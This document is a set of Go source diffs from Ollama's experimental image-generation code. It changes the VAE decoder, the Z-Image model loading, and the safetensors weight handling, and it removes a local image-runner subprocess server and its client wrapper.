// Input latents are in NCHW format, output is in NCHW format.
// Internally uses NHWC format (MLX native) for all operations.
// Uses staged pools to free intermediate arrays and reduce peak memory.
func (vae *VAEDecoder) Decode(latents *mlx.Array) *mlx.Array {
// Scale latents
z := mlx.DivScalar(latents, vae.Config.ScalingFactor)
z = mlx.AddScalar(z, vae.Config.ShiftFactor)
// Convert NCHW -> NHWC for internal processing
z = mlx.Transpose(z, 0, 2, 3, 1)
h := vae.ConvIn.Forward(z)
mlx.Eval(h)
var h *mlx.Array
{
z := mlx.DivScalar(latents, vae.Config.ScalingFactor)
z = mlx.AddScalar(z, vae.Config.ShiftFactor)
h = vae.ConvIn.Forward(z)
mlx.Eval(h)
}
h = vae.MidBlock.Forward(h)
@@ -740,51 +617,36 @@ func (vae *VAEDecoder) Decode(latents *mlx.Array) *mlx.Array {
h = upBlock.Forward(h)
}
prev := h
h = vae.ConvNormOut.Forward(h)
mlx.Eval(h) // Eval after GroupNorm to avoid grid dimension issues
h = mlx.SiLU(h)
h = vae.ConvOut.Forward(h)
mlx.Eval(h)
// VAE outputs [-1, 1], convert to [0, 1]
h = mlx.MulScalar(h, 0.5)
h = mlx.AddScalar(h, 0.5)
h = mlx.ClipScalar(h, 0.0, 1.0, true, true)
// Convert NHWC -> NCHW for output
h = mlx.Transpose(h, 0, 3, 1, 2)
prev.Free()
mlx.Eval(h)
{
prev := h
h = vae.ConvNormOut.Forward(h)
h = mlx.SiLU(h)
h = vae.ConvOut.Forward(h)
// VAE outputs [-1, 1], convert to [0, 1]
h = mlx.AddScalar(mlx.MulScalar(h, 0.5), 0.5)
h = mlx.ClipScalar(h, 0.0, 1.0, true, true)
prev.Free()
mlx.Eval(h)
}
return h
}
// Upsample2x performs 2x nearest neighbor upsampling using Take.
// Input and output are in NHWC format: [B, H, W, C] -> [B, H*2, W*2, C]
// Uses Take with repeated indices to produce contiguous output.
// Upsample2x performs 2x nearest neighbor upsampling using broadcast.
// x: [B, C, H, W] -> [B, C, H*2, W*2]
func Upsample2x(x *mlx.Array) *mlx.Array {
shape := x.Shape()
H := shape[1]
W := shape[2]
B := shape[0]
C := shape[1]
H := shape[2]
W := shape[3]
// Create indices [0, 0, 1, 1, 2, 2, ...] for nearest neighbor
// For H dimension
hIdx := mlx.ArangeInt(0, H, 1, mlx.DtypeInt32)
hIdx = mlx.Reshape(hIdx, H, 1)
hIdx = mlx.BroadcastTo(hIdx, []int32{H, 2})
hIdx = mlx.Reshape(hIdx, H*2)
// For W dimension
wIdx := mlx.ArangeInt(0, W, 1, mlx.DtypeInt32)
wIdx = mlx.Reshape(wIdx, W, 1)
wIdx = mlx.BroadcastTo(wIdx, []int32{W, 2})
wIdx = mlx.Reshape(wIdx, W*2)
// Take along H axis (axis 1 in NHWC)
x = mlx.Take(x, hIdx, 1)
// Take along W axis (axis 2 in NHWC)
x = mlx.Take(x, wIdx, 2)
// [B, C, H, W] -> [B, C, H, 1, W, 1]
x = mlx.Reshape(x, B, C, H, 1, W, 1)
// Broadcast to [B, C, H, 2, W, 2]
x = mlx.BroadcastTo(x, []int32{B, C, H, 2, W, 2})
// Reshape to [B, C, H*2, W*2]
x = mlx.Reshape(x, B, C, H*2, W*2)
return x
}

View File

@@ -6,9 +6,9 @@ package zimage
import (
"context"
"fmt"
"path/filepath"
"time"
"github.com/ollama/ollama/x/imagegen"
"github.com/ollama/ollama/x/imagegen/cache"
"github.com/ollama/ollama/x/imagegen/mlx"
"github.com/ollama/ollama/x/imagegen/tokenizer"
@@ -37,16 +37,16 @@ type ProgressFunc func(step, totalSteps int)
// Model represents a Z-Image diffusion model.
type Model struct {
ModelName string
ModelPath string
Tokenizer *tokenizer.Tokenizer
TextEncoder *Qwen3TextEncoder
Transformer *Transformer
VAEDecoder *VAEDecoder
}
// Load loads the Z-Image model from ollama blob storage.
func (m *Model) Load(modelName string) error {
fmt.Printf("Loading Z-Image model from manifest: %s...\n", modelName)
// Load loads the Z-Image model from a directory.
func (m *Model) Load(modelPath string) error {
fmt.Println("Loading Z-Image model...")
start := time.Now()
if mlx.GPUIsAvailable() {
@@ -54,34 +54,12 @@ func (m *Model) Load(modelName string) error {
mlx.EnableCompile()
}
m.ModelName = modelName
m.ModelPath = modelPath
// Load manifest
manifest, err := imagegen.LoadManifest(modelName)
if err != nil {
return fmt.Errorf("load manifest: %w", err)
}
// Load tokenizer from manifest with config
// Load tokenizer
fmt.Print(" Loading tokenizer... ")
tokData, err := manifest.ReadConfig("tokenizer/tokenizer.json")
if err != nil {
return fmt.Errorf("tokenizer: %w", err)
}
// Try to read tokenizer config files from manifest
tokConfig := &tokenizer.TokenizerConfig{}
if data, err := manifest.ReadConfig("tokenizer/tokenizer_config.json"); err == nil {
tokConfig.TokenizerConfigJSON = data
}
if data, err := manifest.ReadConfig("tokenizer/generation_config.json"); err == nil {
tokConfig.GenerationConfigJSON = data
}
if data, err := manifest.ReadConfig("tokenizer/special_tokens_map.json"); err == nil {
tokConfig.SpecialTokensMapJSON = data
}
tok, err := tokenizer.LoadFromBytesWithConfig(tokData, tokConfig)
tokenizerPath := filepath.Join(modelPath, "tokenizer", "tokenizer.json")
tok, err := tokenizer.Load(tokenizerPath)
if err != nil {
return fmt.Errorf("tokenizer: %w", err)
}
@@ -90,7 +68,7 @@ func (m *Model) Load(modelName string) error {
// Load text encoder
m.TextEncoder = &Qwen3TextEncoder{}
if err := m.TextEncoder.Load(manifest); err != nil {
if err := m.TextEncoder.Load(filepath.Join(modelPath, "text_encoder")); err != nil {
return fmt.Errorf("text encoder: %w", err)
}
mlx.Eval(mlx.Collect(m.TextEncoder)...)
@@ -100,7 +78,7 @@ func (m *Model) Load(modelName string) error {
// Load transformer
m.Transformer = &Transformer{}
if err := m.Transformer.Load(manifest); err != nil {
if err := m.Transformer.Load(filepath.Join(modelPath, "transformer")); err != nil {
return fmt.Errorf("transformer: %w", err)
}
mlx.Eval(mlx.Collect(m.Transformer)...)
@@ -110,7 +88,7 @@ func (m *Model) Load(modelName string) error {
// Load VAE decoder
m.VAEDecoder = &VAEDecoder{}
if err := m.VAEDecoder.Load(manifest); err != nil {
if err := m.VAEDecoder.Load(filepath.Join(modelPath, "vae")); err != nil {
return fmt.Errorf("VAE decoder: %w", err)
}
mlx.Eval(mlx.Collect(m.VAEDecoder)...)
@@ -126,7 +104,7 @@ func (m *Model) Load(modelName string) error {
// Generate creates an image from a prompt.
func (m *Model) Generate(prompt string, width, height int32, steps int, seed int64) (*mlx.Array, error) {
return m.GenerateFromConfig(context.Background(), &GenerateConfig{
return m.GenerateFromConfig(&GenerateConfig{
Prompt: prompt,
Width: width,
Height: height,
@@ -137,7 +115,7 @@ func (m *Model) Generate(prompt string, width, height int32, steps int, seed int
// GenerateWithProgress creates an image with progress callback.
func (m *Model) GenerateWithProgress(prompt string, width, height int32, steps int, seed int64, progress ProgressFunc) (*mlx.Array, error) {
return m.GenerateFromConfig(context.Background(), &GenerateConfig{
return m.GenerateFromConfig(&GenerateConfig{
Prompt: prompt,
Width: width,
Height: height,
@@ -149,7 +127,7 @@ func (m *Model) GenerateWithProgress(prompt string, width, height int32, steps i
// GenerateWithCFG creates an image with classifier-free guidance.
func (m *Model) GenerateWithCFG(prompt, negativePrompt string, width, height int32, steps int, seed int64, cfgScale float32, progress ProgressFunc) (*mlx.Array, error) {
return m.GenerateFromConfig(context.Background(), &GenerateConfig{
return m.GenerateFromConfig(&GenerateConfig{
Prompt: prompt,
NegativePrompt: negativePrompt,
CFGScale: cfgScale,
@@ -162,9 +140,9 @@ func (m *Model) GenerateWithCFG(prompt, negativePrompt string, width, height int
}
// GenerateFromConfig generates an image using the unified config struct.
func (m *Model) GenerateFromConfig(ctx context.Context, cfg *GenerateConfig) (*mlx.Array, error) {
func (m *Model) GenerateFromConfig(cfg *GenerateConfig) (*mlx.Array, error) {
start := time.Now()
result, err := m.generate(ctx, cfg)
result, err := m.generate(cfg)
if err != nil {
return nil, err
}
@@ -182,7 +160,7 @@ func (m *Model) GenerateImage(ctx context.Context, prompt string, width, height
}
// generate is the internal denoising pipeline.
func (m *Model) generate(ctx context.Context, cfg *GenerateConfig) (*mlx.Array, error) {
func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
// Apply defaults
if cfg.Width <= 0 {
cfg.Width = 1024
@@ -269,19 +247,11 @@ func (m *Model) generate(ctx context.Context, cfg *GenerateConfig) (*mlx.Array,
}
// Denoising loop
if cfg.Progress != nil {
cfg.Progress(0, cfg.Steps) // Start at 0%
}
for i := 0; i < cfg.Steps; i++ {
// Check for cancellation
if ctx != nil {
select {
case <-ctx.Done():
return nil, ctx.Err()
default:
}
}
stepStart := time.Now()
if cfg.Progress != nil {
cfg.Progress(i+1, cfg.Steps)
}
// GPU capture on step 2 if requested
if cfg.CapturePath != "" && i == 1 {
@@ -325,7 +295,6 @@ func (m *Model) generate(ctx context.Context, cfg *GenerateConfig) (*mlx.Array,
noisePred := UnpatchifyLatents(output, tcfg.PatchSize, latentH, latentW, tcfg.InChannels)
noisePred = mlx.Neg(noisePred)
oldLatents := latents
latents = scheduler.Step(noisePred, latents, i)
@@ -344,10 +313,6 @@ func (m *Model) generate(ctx context.Context, cfg *GenerateConfig) (*mlx.Array,
peakMem := float64(mlx.MetalGetPeakMemory()) / (1024 * 1024 * 1024)
fmt.Printf(" Step %d/%d: t=%.4f (%.2fs) [%.1f GB active, %.1f GB peak]\n",
i+1, cfg.Steps, tCurr, time.Since(stepStart).Seconds(), activeMem, peakMem)
if cfg.Progress != nil {
cfg.Progress(i+1, cfg.Steps) // Report completed step
}
}
// Free denoising temporaries before VAE decode

View File

@@ -1,217 +0,0 @@
//go:build mlx
// Package runner provides a subprocess server for image generation.
// It listens on a port and handles HTTP requests for image generation.
package runner
import (
"context"
"encoding/json"
"flag"
"fmt"
"log/slog"
"net/http"
"os"
"os/signal"
"path/filepath"
"sync"
"syscall"
"time"
"github.com/ollama/ollama/x/imagegen"
"github.com/ollama/ollama/x/imagegen/mlx"
"github.com/ollama/ollama/x/imagegen/models/zimage"
)
// Request is the image generation request format
type Request struct {
Prompt string `json:"prompt"`
Width int32 `json:"width,omitempty"`
Height int32 `json:"height,omitempty"`
Steps int `json:"steps,omitempty"`
Seed int64 `json:"seed,omitempty"`
}
// Response is streamed back for each progress update
type Response struct {
Content string `json:"content"`
Done bool `json:"done"`
}
// Server holds the model and handles requests
type Server struct {
mu sync.Mutex
model *zimage.Model
modelName string
}
// Execute is the entry point for the image runner subprocess
func Execute(args []string) error {
fs := flag.NewFlagSet("image-runner", flag.ExitOnError)
modelName := fs.String("model", "", "path to image model")
port := fs.Int("port", 0, "port to listen on")
if err := fs.Parse(args); err != nil {
return err
}
if *modelName == "" {
return fmt.Errorf("--model is required")
}
if *port == 0 {
return fmt.Errorf("--port is required")
}
slog.Info("starting image runner", "model", *modelName, "port", *port)
// Check memory requirements before loading
requiredMemory := imagegen.EstimateVRAM(*modelName)
availableMemory := mlx.GetMemoryLimit()
if availableMemory > 0 && availableMemory < requiredMemory {
return fmt.Errorf("insufficient memory for image generation: need %d GB, have %d GB",
requiredMemory/(1024*1024*1024), availableMemory/(1024*1024*1024))
}
// Load model
model := &zimage.Model{}
if err := model.Load(*modelName); err != nil {
return fmt.Errorf("failed to load model: %w", err)
}
server := &Server{
model: model,
modelName: *modelName,
}
// Set up HTTP handlers
mux := http.NewServeMux()
mux.HandleFunc("/health", server.healthHandler)
mux.HandleFunc("/completion", server.completionHandler)
httpServer := &http.Server{
Addr: fmt.Sprintf("127.0.0.1:%d", *port),
Handler: mux,
}
// Handle shutdown
done := make(chan struct{})
go func() {
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
slog.Info("shutting down image runner")
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
httpServer.Shutdown(ctx)
close(done)
}()
slog.Info("image runner listening", "addr", httpServer.Addr)
if err := httpServer.ListenAndServe(); err != http.ErrServerClosed {
return err
}
<-done
return nil
}
func (s *Server) healthHandler(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
}
func (s *Server) completionHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req Request
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
// Serialize generation requests - MLX model may not handle concurrent generation
s.mu.Lock()
defer s.mu.Unlock()
// Apply defaults
if req.Width <= 0 {
req.Width = 1024
}
if req.Height <= 0 {
req.Height = 1024
}
if req.Steps <= 0 {
req.Steps = 9
}
if req.Seed <= 0 {
req.Seed = time.Now().UnixNano()
}
// Set up streaming response
w.Header().Set("Content-Type", "application/x-ndjson")
w.Header().Set("Transfer-Encoding", "chunked")
flusher, ok := w.(http.Flusher)
if !ok {
http.Error(w, "streaming not supported", http.StatusInternalServerError)
return
}
// Generate image
ctx := r.Context()
img, err := s.model.GenerateFromConfig(ctx, &zimage.GenerateConfig{
Prompt: req.Prompt,
Width: req.Width,
Height: req.Height,
Steps: req.Steps,
Seed: req.Seed,
Progress: func(step, total int) {
resp := Response{
Content: fmt.Sprintf("\rGenerating: step %d/%d", step, total),
Done: false,
}
data, _ := json.Marshal(resp)
w.Write(data)
w.Write([]byte("\n"))
flusher.Flush()
},
})
if err != nil {
// Don't send error for cancellation
if ctx.Err() != nil {
return
}
resp := Response{Content: fmt.Sprintf("error: %v", err), Done: true}
data, _ := json.Marshal(resp)
w.Write(data)
w.Write([]byte("\n"))
return
}
// Save image
outPath := filepath.Join(os.TempDir(), fmt.Sprintf("ollama-image-%d.png", time.Now().UnixNano()))
if err := imagegen.SaveImage(img, outPath); err != nil {
resp := Response{Content: fmt.Sprintf("error saving: %v", err), Done: true}
data, _ := json.Marshal(resp)
w.Write(data)
w.Write([]byte("\n"))
return
}
// Free the generated image array and clean up MLX state
img.Free()
mlx.ClearCache()
// Send final response
resp := Response{
Content: fmt.Sprintf("\n\nImage saved to: %s\n", outPath),
Done: true,
}
data, _ := json.Marshal(resp)
w.Write(data)
w.Write([]byte("\n"))
flusher.Flush()
}

View File

@@ -1,10 +0,0 @@
//go:build !mlx
package runner
import "errors"
// Execute returns an error when not built with MLX support.
func Execute(args []string) error {
return errors.New("image generation not available: build with mlx tag")
}

View File

@@ -1,176 +0,0 @@
package safetensors
import (
"bytes"
"encoding/binary"
"encoding/json"
"fmt"
"io"
"os"
"sort"
)
// tensorInfo holds tensor metadata from safetensors headers.
// This avoids depending on safetensors.go which requires the mlx tag.
type tensorInfo struct {
Dtype string `json:"dtype"`
Shape []int32 `json:"shape"`
DataOffsets [2]int `json:"data_offsets"`
}
// TensorExtractor extracts individual tensors from a safetensors file.
// It provides io.Reader interfaces for each tensor's raw data, enabling
// streaming writes to blobs without loading entire tensors into memory.
type TensorExtractor struct {
file *os.File
dataOffset int64 // Start of tensor data region
header map[string]tensorInfo
}
// TensorData holds tensor metadata and a reader for its raw bytes.
type TensorData struct {
Name string
Dtype string
Shape []int32
Size int64
reader *io.SectionReader
}
// Reader returns an io.Reader for the tensor's raw bytes.
func (td *TensorData) Reader() io.Reader {
return td.reader
}
// SafetensorsReader returns a reader that outputs the tensor wrapped in
// minimal safetensors format. This allows using mlx_load_safetensors on
// individual tensor blobs for native zero-copy loading.
func (td *TensorData) SafetensorsReader() io.Reader {
// Build minimal safetensors header with tensor named "data"
header := map[string]tensorInfo{
"data": {
Dtype: td.Dtype,
Shape: td.Shape,
DataOffsets: [2]int{0, int(td.Size)},
},
}
headerJSON, _ := json.Marshal(header)
// Pad header to 8-byte alignment
padding := (8 - len(headerJSON)%8) % 8
headerJSON = append(headerJSON, bytes.Repeat([]byte(" "), padding)...)
// Build header with size prefix
headerBuf := new(bytes.Buffer)
binary.Write(headerBuf, binary.LittleEndian, uint64(len(headerJSON)))
headerBuf.Write(headerJSON)
// Return multi-reader: header + tensor data
td.reader.Seek(0, io.SeekStart)
return io.MultiReader(headerBuf, td.reader)
}
// SafetensorsSize returns the total size of the safetensors-wrapped tensor.
func (td *TensorData) SafetensorsSize() int64 {
header := map[string]tensorInfo{
"data": {
Dtype: td.Dtype,
Shape: td.Shape,
DataOffsets: [2]int{0, int(td.Size)},
},
}
headerJSON, _ := json.Marshal(header)
padding := (8 - len(headerJSON)%8) % 8
return 8 + int64(len(headerJSON)) + int64(padding) + td.Size
}
// OpenForExtraction opens a safetensors file for tensor extraction.
// The caller must call Close() when done.
func OpenForExtraction(path string) (*TensorExtractor, error) {
f, err := os.Open(path)
if err != nil {
return nil, fmt.Errorf("failed to open file: %w", err)
}
var headerSize uint64
if err := binary.Read(f, binary.LittleEndian, &headerSize); err != nil {
f.Close()
return nil, fmt.Errorf("failed to read header size: %w", err)
}
headerBytes := make([]byte, headerSize)
if _, err := f.Read(headerBytes); err != nil {
f.Close()
return nil, fmt.Errorf("failed to read header: %w", err)
}
var header map[string]tensorInfo
if err := json.Unmarshal(headerBytes, &header); err != nil {
f.Close()
return nil, fmt.Errorf("failed to parse header: %w", err)
}
delete(header, "__metadata__")
return &TensorExtractor{
file: f,
dataOffset: 8 + int64(headerSize), // 8 bytes for header size + header content
header: header,
}, nil
}
// GetTensor returns tensor metadata and a reader for extracting a single tensor.
func (te *TensorExtractor) GetTensor(name string) (*TensorData, error) {
info, ok := te.header[name]
if !ok {
return nil, fmt.Errorf("tensor %q not found", name)
}
start := te.dataOffset + int64(info.DataOffsets[0])
size := int64(info.DataOffsets[1] - info.DataOffsets[0])
return &TensorData{
Name: name,
Dtype: info.Dtype,
Shape: info.Shape,
Size: size,
reader: io.NewSectionReader(te.file, start, size),
}, nil
}
// ListTensors returns all tensor names in sorted order.
func (te *TensorExtractor) ListTensors() []string {
names := make([]string, 0, len(te.header))
for name := range te.header {
names = append(names, name)
}
sort.Strings(names)
return names
}
// TensorCount returns the number of tensors in the file.
func (te *TensorExtractor) TensorCount() int {
return len(te.header)
}
// Close closes the underlying file.
func (te *TensorExtractor) Close() error {
return te.file.Close()
}
// ExtractAll returns TensorData for all tensors in the file.
// Each TensorData has a reader that reads from the original file.
// The caller must call Close() on the TensorExtractor when done.
func (te *TensorExtractor) ExtractAll() ([]*TensorData, error) {
names := te.ListTensors()
tensors := make([]*TensorData, 0, len(names))
for _, name := range names {
td, err := te.GetTensor(name)
if err != nil {
return nil, err
}
tensors = append(tensors, td)
}
return tensors, nil
}

View File

@@ -10,14 +10,6 @@ import (
"github.com/ollama/ollama/x/imagegen/mlx"
)
// WeightSource is an interface for loading weights.
// Both ModelWeights (directory-based) and ManifestWeights (blob-based) implement this.
type WeightSource interface {
GetTensor(name string) (*mlx.Array, error)
ListTensors() []string
HasTensor(name string) bool
}
// LoadModule loads weights into a struct using reflection and struct tags.
//
// Struct tags use the format: `weight:"path[,optional]"`
@@ -39,7 +31,7 @@ type WeightSource interface {
// }
//
// err := LoadModule(&attn, weights, "model.layers.0")
func LoadModule(dst any, weights WeightSource, prefix string) error {
func LoadModule(dst any, weights *ModelWeights, prefix string) error {
v := reflect.ValueOf(dst)
if v.Kind() != reflect.Ptr || v.IsNil() {
return fmt.Errorf("LoadModule: dst must be a non-nil pointer")
@@ -59,7 +51,7 @@ func LoadModule(dst any, weights WeightSource, prefix string) error {
}
// loadStruct recursively loads weights into a struct value.
func loadStruct(v reflect.Value, weights WeightSource, prefix string, errs *[]string, parentOptional bool) {
func loadStruct(v reflect.Value, weights *ModelWeights, prefix string, errs *[]string, parentOptional bool) {
t := v.Type()
for i := 0; i < t.NumField(); i++ {
@@ -144,7 +136,7 @@ func loadStruct(v reflect.Value, weights WeightSource, prefix string, errs *[]st
}
// hasWeightsWithPrefix checks if any weights exist with the given prefix.
func hasWeightsWithPrefix(weights WeightSource, prefix string) bool {
func hasWeightsWithPrefix(weights *ModelWeights, prefix string) bool {
for _, name := range weights.ListTensors() {
if strings.HasPrefix(name, prefix+".") || name == prefix {
return true
@@ -154,7 +146,7 @@ func hasWeightsWithPrefix(weights WeightSource, prefix string) bool {
}
// loadSlice loads weights into each element of a slice of struct pointers.
func loadSlice(v reflect.Value, weights WeightSource, prefix string, errs *[]string) {
func loadSlice(v reflect.Value, weights *ModelWeights, prefix string, errs *[]string) {
elemStructType := v.Type().Elem().Elem()
for i := 0; i < v.Len(); i++ {

View File

@@ -118,34 +118,6 @@ func LoadModelWeights(dir string) (*ModelWeights, error) {
return mw, nil
}
// LoadModelWeightsFromPaths loads weights from specific safetensor file paths.
// Used for loading from blob storage where files are not in a directory.
func LoadModelWeightsFromPaths(paths []string) (*ModelWeights, error) {
mw := &ModelWeights{
tensorFiles: make(map[string]string),
tensorInfo: make(map[string]TensorInfo),
nativeCache: make(map[string]*mlx.SafetensorsFile),
}
for _, path := range paths {
header, err := parseSafetensorHeader(path)
if err != nil {
return nil, fmt.Errorf("failed to parse %s: %w", path, err)
}
for name, info := range header {
mw.tensorFiles[name] = path
mw.tensorInfo[name] = info
}
}
if len(mw.tensorFiles) == 0 {
return nil, fmt.Errorf("no tensors found in provided paths")
}
return mw, nil
}
// Load loads all tensors into cache with the specified dtype.
// If dtype is 0, tensors are loaded in their original dtype.
// Automatically uses streaming (memory-efficient) when dtype conversion is needed,

View File

@@ -1,353 +0,0 @@
package imagegen
import (
"bufio"
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"log/slog"
"math/rand"
"net"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"sync"
"time"
"github.com/ollama/ollama/llm"
"github.com/ollama/ollama/ml"
)
// Server wraps an image generation subprocess to implement llm.LlamaServer.
type Server struct {
mu sync.Mutex
cmd *exec.Cmd
port int
modelName string
vramSize uint64
done chan error
client *http.Client
lastErr string // Last stderr line for error reporting
lastErrLock sync.Mutex
}
// completionRequest is sent to the subprocess
type completionRequest struct {
Prompt string `json:"prompt"`
Width int32 `json:"width,omitempty"`
Height int32 `json:"height,omitempty"`
Steps int `json:"steps,omitempty"`
Seed int64 `json:"seed,omitempty"`
}
// completionResponse is received from the subprocess
type completionResponse struct {
Content string `json:"content"`
Done bool `json:"done"`
}
// NewServer spawns a new image generation subprocess and waits until it's ready.
func NewServer(modelName string) (*Server, error) {
// Validate platform support before attempting to start
if err := CheckPlatformSupport(); err != nil {
return nil, err
}
// Find a free port
port := 0
if a, err := net.ResolveTCPAddr("tcp", "localhost:0"); err == nil {
if l, err := net.ListenTCP("tcp", a); err == nil {
port = l.Addr().(*net.TCPAddr).Port
l.Close()
}
}
if port == 0 {
port = rand.Intn(65535-49152) + 49152
}
// Get the ollama executable path
exe, err := os.Executable()
if err != nil {
return nil, fmt.Errorf("unable to lookup executable path: %w", err)
}
if eval, err := filepath.EvalSymlinks(exe); err == nil {
exe = eval
}
// Spawn subprocess: ollama runner --image-engine --model <path> --port <port>
cmd := exec.Command(exe, "runner", "--image-engine", "--model", modelName, "--port", strconv.Itoa(port))
cmd.Env = os.Environ()
s := &Server{
cmd: cmd,
port: port,
modelName: modelName,
vramSize: EstimateVRAM(modelName),
done: make(chan error, 1),
client: &http.Client{Timeout: 10 * time.Minute},
}
// Forward subprocess stdout/stderr to server logs
stdout, _ := cmd.StdoutPipe()
stderr, _ := cmd.StderrPipe()
go func() {
scanner := bufio.NewScanner(stdout)
for scanner.Scan() {
slog.Info("image-runner", "msg", scanner.Text())
}
}()
go func() {
scanner := bufio.NewScanner(stderr)
for scanner.Scan() {
line := scanner.Text()
slog.Warn("image-runner", "msg", line)
// Capture last error line for better error reporting
s.lastErrLock.Lock()
s.lastErr = line
s.lastErrLock.Unlock()
}
}()
slog.Info("starting image runner subprocess", "model", modelName, "port", port)
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("failed to start image runner: %w", err)
}
// Reap subprocess when it exits
go func() {
err := cmd.Wait()
s.done <- err
}()
// Wait for subprocess to be ready
if err := s.waitUntilRunning(); err != nil {
s.Close()
return nil, err
}
return s, nil
}
// ModelPath returns the path to the model.
func (s *Server) ModelPath() string {
return s.modelName
}
// Load is called by the scheduler after the server is created.
func (s *Server) Load(ctx context.Context, systemInfo ml.SystemInfo, gpus []ml.DeviceInfo, requireFull bool) ([]ml.DeviceID, error) {
return nil, nil
}
// Ping checks if the subprocess is healthy.
func (s *Server) Ping(ctx context.Context) error {
url := fmt.Sprintf("http://127.0.0.1:%d/health", s.port)
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
if err != nil {
return err
}
resp, err := s.client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("health check failed: %d", resp.StatusCode)
}
return nil
}
// waitUntilRunning waits for the subprocess to be ready.
func (s *Server) waitUntilRunning() error {
ctx := context.Background()
timeout := time.After(2 * time.Minute)
ticker := time.NewTicker(100 * time.Millisecond)
defer ticker.Stop()
for {
select {
case err := <-s.done:
// Include last stderr line for better error context
s.lastErrLock.Lock()
lastErr := s.lastErr
s.lastErrLock.Unlock()
if lastErr != "" {
return fmt.Errorf("image runner failed: %s (exit: %v)", lastErr, err)
}
return fmt.Errorf("image runner exited unexpectedly: %w", err)
case <-timeout:
s.lastErrLock.Lock()
lastErr := s.lastErr
s.lastErrLock.Unlock()
if lastErr != "" {
return fmt.Errorf("timeout waiting for image runner: %s", lastErr)
}
return errors.New("timeout waiting for image runner to start")
case <-ticker.C:
if err := s.Ping(ctx); err == nil {
slog.Info("image runner is ready", "port", s.port)
return nil
}
}
}
}
// WaitUntilRunning implements the LlamaServer interface (no-op since NewServer waits).
func (s *Server) WaitUntilRunning(ctx context.Context) error {
return nil
}
// Completion generates an image from the prompt via the subprocess.
func (s *Server) Completion(ctx context.Context, req llm.CompletionRequest, fn func(llm.CompletionResponse)) error {
// Build request
creq := completionRequest{
Prompt: req.Prompt,
Width: 1024,
Height: 1024,
Steps: 9,
Seed: time.Now().UnixNano(),
}
if req.Options != nil {
if req.Options.NumCtx > 0 && req.Options.NumCtx <= 4096 {
creq.Width = int32(req.Options.NumCtx)
}
if req.Options.NumGPU > 0 && req.Options.NumGPU <= 4096 {
creq.Height = int32(req.Options.NumGPU)
}
if req.Options.NumPredict > 0 && req.Options.NumPredict <= 100 {
creq.Steps = req.Options.NumPredict
}
if req.Options.Seed > 0 {
creq.Seed = int64(req.Options.Seed)
}
}
// Encode request body
body, err := json.Marshal(creq)
if err != nil {
return err
}
// Send request to subprocess
url := fmt.Sprintf("http://127.0.0.1:%d/completion", s.port)
httpReq, err := http.NewRequestWithContext(ctx, "POST", url, bytes.NewReader(body))
if err != nil {
return err
}
httpReq.Header.Set("Content-Type", "application/json")
resp, err := s.client.Do(httpReq)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("completion request failed: %d", resp.StatusCode)
}
// Stream responses
scanner := bufio.NewScanner(resp.Body)
for scanner.Scan() {
var cresp completionResponse
if err := json.Unmarshal(scanner.Bytes(), &cresp); err != nil {
continue
}
fn(llm.CompletionResponse{
Content: cresp.Content,
Done: cresp.Done,
})
if cresp.Done {
break
}
}
return scanner.Err()
}
// Close terminates the subprocess.
func (s *Server) Close() error {
s.mu.Lock()
defer s.mu.Unlock()
if s.cmd != nil && s.cmd.Process != nil {
slog.Info("stopping image runner subprocess", "pid", s.cmd.Process.Pid)
s.cmd.Process.Signal(os.Interrupt)
// Wait briefly for graceful shutdown
select {
case <-s.done:
case <-time.After(5 * time.Second):
s.cmd.Process.Kill()
}
s.cmd = nil
}
return nil
}
// VRAMSize returns the estimated VRAM usage.
func (s *Server) VRAMSize() uint64 {
return s.vramSize
}
// TotalSize returns the total memory usage.
func (s *Server) TotalSize() uint64 {
return s.vramSize
}
// VRAMByGPU returns VRAM usage for a specific GPU.
func (s *Server) VRAMByGPU(id ml.DeviceID) uint64 {
return s.vramSize
}
// Embedding is not supported for image generation models.
func (s *Server) Embedding(ctx context.Context, input string) ([]float32, int, error) {
return nil, 0, errors.New("embedding not supported for image generation models")
}
// Tokenize is not supported for image generation models.
func (s *Server) Tokenize(ctx context.Context, content string) ([]int, error) {
return nil, errors.New("tokenize not supported for image generation models")
}
// Detokenize is not supported for image generation models.
func (s *Server) Detokenize(ctx context.Context, tokens []int) (string, error) {
return "", errors.New("detokenize not supported for image generation models")
}
// Pid returns the subprocess PID.
func (s *Server) Pid() int {
s.mu.Lock()
defer s.mu.Unlock()
if s.cmd != nil && s.cmd.Process != nil {
return s.cmd.Process.Pid
}
return -1
}
// GetPort returns the subprocess port.
func (s *Server) GetPort() int {
return s.port
}
// GetDeviceInfos returns nil since we don't track GPU info.
func (s *Server) GetDeviceInfos(ctx context.Context) []ml.DeviceInfo {
return nil
}
// HasExited returns true if the subprocess has exited.
func (s *Server) HasExited() bool {
select {
case <-s.done:
return true
default:
return false
}
}
// Ensure Server implements llm.LlamaServer
var _ llm.LlamaServer = (*Server)(nil)

View File

@@ -1,82 +0,0 @@
package imagegen
import (
"runtime"
"testing"
)
// TestPlatformSupport verifies platform validation works correctly.
func TestPlatformSupport(t *testing.T) {
err := CheckPlatformSupport()
switch runtime.GOOS {
case "darwin":
if runtime.GOARCH == "arm64" {
// Apple Silicon should be supported
if err != nil {
t.Errorf("Expected nil error on darwin/arm64, got: %v", err)
}
} else {
// Intel Mac should fail
if err == nil {
t.Error("Expected error on darwin/amd64 (Intel), got nil")
}
if err != nil && err.Error() == "" {
t.Error("Expected meaningful error message for unsupported platform")
}
}
case "linux", "windows":
// Linux/Windows are allowed (CUDA support checked at runtime)
if err != nil {
t.Errorf("Expected nil error on %s, got: %v", runtime.GOOS, err)
}
default:
